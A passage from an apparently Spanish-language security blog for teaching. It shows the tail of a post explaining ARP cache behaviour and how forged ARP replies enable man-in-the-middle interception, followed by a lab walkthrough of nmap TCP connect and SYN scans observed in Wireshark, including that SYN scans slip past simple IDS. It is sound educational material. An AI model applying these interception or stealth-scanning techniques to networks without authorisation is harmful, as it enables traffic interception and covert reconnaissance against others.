ping -n1 www.cocacola.com
arp -a

Este simple y pequeño script borra la tabla arp, y genera dos peticiones arp. La primera por la MAC del servidor gKali, la segunda por la MAC del Gateway, ya que la máquina www.cocacola.com está fuera de nuestra red, y por lo tanto el destinatario de entrega del paquete es el Gateway de nuestra red.

C:\MITM>arpsample.bat

Haciendo ping a gkali.profe.local [192.168.50.100] con 32 bytes de datos:

Respuesta desde 192.168.50.100: bytes=32 tiempo<1m TTL=64

Estadísticas de ping para 192.168.50.100:

    Paquetes: enviados = 1, recibidos = 1, perdidos = 0

    (0% perdidos),

Tiempos aproximados de ida y vuelta en milisegundos:

    Mínimo = 0ms, Máximo = 0ms, Media = 0ms

Haciendo ping a a1128.g2.akamai.net [185.43.180.160] con 32 bytes de datos:

Respuesta desde 185.43.180.160: bytes=32 tiempo=10ms TTL=58

Estadísticas de ping para 185.43.180.160:

    Paquetes: enviados = 1, recibidos = 1, perdidos = 0

    (0% perdidos),

Tiempos aproximados de ida y vuelta en milisegundos:

    Mínimo = 10ms, Máximo = 10ms, Media = 10ms

Interfaz: 192.168.50.1 --- 0xb

  Dirección de Internet   Dirección física      Tipo
  192.168.50.254          00-0c-29-a6-aa-24     dinámico
  192.168.50.100          00-0c-29-d9-f8-31     dinámico

La simple de todo, es que muchos de los protocolos de red siguen siendo el estándar de hace años, sin mejoras, y por definición inseguros.

Todo el truco del MITM está por aprovechar el funcionamiento poco seguro de ARP, ya que si generamos tramas ARP Reply diciendo que la MAC del Gateway es nuestra máquina ( el gKali atacante ), la victima aprende sin más… Sin pedir ningún tipo de credencial a la trama que le llega. Por lo tanto, conseguimos cambiar todo el tráfico de salida hacía Internet vía Gateway, hacia nuestra máquina (gKali) donde lo trataremos adecuadamente… Es un decir J

Próximo capítulo toca aplicar todos estos conocimientos en bien de entender las cosas, protegerlas, y no aprovecharlas para delitos tipificados por ley.

En breve MITM (DNS Spoofing) Parte II Ataque DNS Spoofing con Kali.2017

June 13, 2017 0 comment

Security

NMAP – Técnicas para el análisis activo de puertos abiertos

written by José Luis Sánchez Borque

Entendemos por análisis activo, al conjunto de técnicas que modifican el comportamiento del estándar TCP/IP de dos formas:

Generando tramas contra un determinado dispositivo de red, esperando la respuesta para analizarla y obtener información: puertos abiertos, cerrados, tamaño de ventana, TTL, etc En resumen, conocer al “enemigo”
Intervenir en una conversación TCP o UDP modificando el comportamiento del estándar, con el mismo objetivo que antes… Obtener información.

Evidentemente, con este tipo de técnicas, estamos expuestos a ser descubiertos por sistemas sofisticados de IDS o Firewalls bien diseñados.

Para el estudio utilizaremos dos herramientas fundamentales en el estudio del networking en general, y protocolos en particular.

Nmap (https://nmap.org/) Herramienta Open Source utilizada para el descubrimiento y auditorias de seguridad.
Wireshark (https://www.wireshark.org/) Analizador de protocolos

Como este post pretende ser avanzado, daré por supuesto que ambas herramientas están instaladas en nuestro sistema, Linux o Windows, es indiferente. It’s up to you.

Recordad que la paciencia es una de las mejores virtudes para evaluar la seguridad de nuestros sistemas.

La idea es muy sencilla; nmap permite generar multitud de escaners, con patrones diferentes. Cada uno con sus ventajas y desventajas, así como una determinada funcionalidad. Aquellos que quieran profundizar en el tema, deben conocer a fondo la capa 4 de transporte del modelo OSI. Los que no, solo podrán repetir comandos que ven por Internet, sin saber interpretar el resultado.

Encontraremos en la propia documentación de nmap, las diferentes posibilidades, y si las leemos (no es pedir demasiado), explican tanto las ventajas como las desventajas, y en que entornos utilizarlos.

Podemos encontrar en este excelente y avanzado tutorial, otra guía fantástica sobre el uso de nmap: “GUÍA DE SEGURIDAD DE LAS TIC (CCN-STIC-954)”

Veamos algún ejemplo de forma práctica

TCP connect() scan: nmap –sT
TCP SYN scan: nmap –sS

Ojo con estas técnicas. Deben ser realizadas en un entorno de laboratorio, ya que nmap en manos de un tonto es un peligro

Un ejemplo, intentar escanear desde casa todos los puertos abiertos de google… Pues el router se nos puede quedar frito según que técnica utilicemos. Conseguimos hacer un fantástico DoS contra nuestro propio router, llenando el buffer de comunicaciones del pequeño dispositivo, e impidiendo cualquier otra conexión. Si es lo que buscábamos felicidades, solo nos queda apagar y volver a encender el router.

Laboratorio

Muy sencillo, un PC con conexión a Internet, además de nmap y wireshark instalados

Los datos del PC son los siguientes:

Adaptador de Ethernet Conexión de área local:

   Dirección física. . . . . . . . . . . . . : F8-B1-56-D9-FF-41
   Dirección IPv4. . . . . . . . . . . . . . : 172.17.21.67
   Máscara de subred . . . . . . . . . . . . : 255.255.0.0

TCP connect() scan

Este tipo de conexión establece una conexión normal TCP de tres vías. Tenemos como ventajas la rapidez al ahora de escanear puertos, y que no son necesarios privilegios especiales, al fin y al cabo es una conexión TCP normal y corriente. De todas formas, siempre que sea posible se recomienda hacer un TCP Syn Scan.

Por el contrario, es muy fácil ser detectado con todo lo que implica.

Veamos la demostración de lo que la teoría nos indica. En primer lugar utilizaremos zenmap para realizar el escáner TCP connect scan.

Capturando los paquetes que salen por la tarjeta de red de área local, vemos de forma práctica lo que la teoría nos explicaba. Importante aplicar en Wireshark los filtros adecuados para librarnos de las tramas que no corresponden al estudio en cuestión.

Importante entender que lo que representamos como SYN, ACK, RST, etc son bits individuales que aparecen en el campo flags de la capa de transporte. En la figura adjunta vemos los bits de SYN y ACK activamos

Veamos ahora el ejemplo de puerto cerrado. Para ello evaluamos el puerto 80 de una máquina que no tiene ninguna aplicación escudando dicho puerto. En este caso la máquina es de mi propia red: 172.17.9.254

Vemos en la imagen adjunta que la máquina destino nos devuelve un RST/ACK, lo que nos indica en principio que el puerto está cerrado.

Te atreves con otro ejemplo? Te propongo un TCP Syn Scan

TCP SYN scan.

No establece una conexión TCP completa, sino que cuando recibe la respuesta SYN|ACK indicando que el puerto está a la escucha, inmediatamente envía un paquete RST para romper la conexión. Existe otra variante que no envía el paquete RST y, por lo tanto, deja el proceso de establecimiento de la conexión a medias,

Las ventajas principales de este tipo de escaneo es que los IDS más sencillos, basados en el registro de la conexión, no son capaces de detectar este tipo de escáner. Como desventaja, es necesario privilegios de administrador que no siempre es posible.

June 7, 2017 0 comment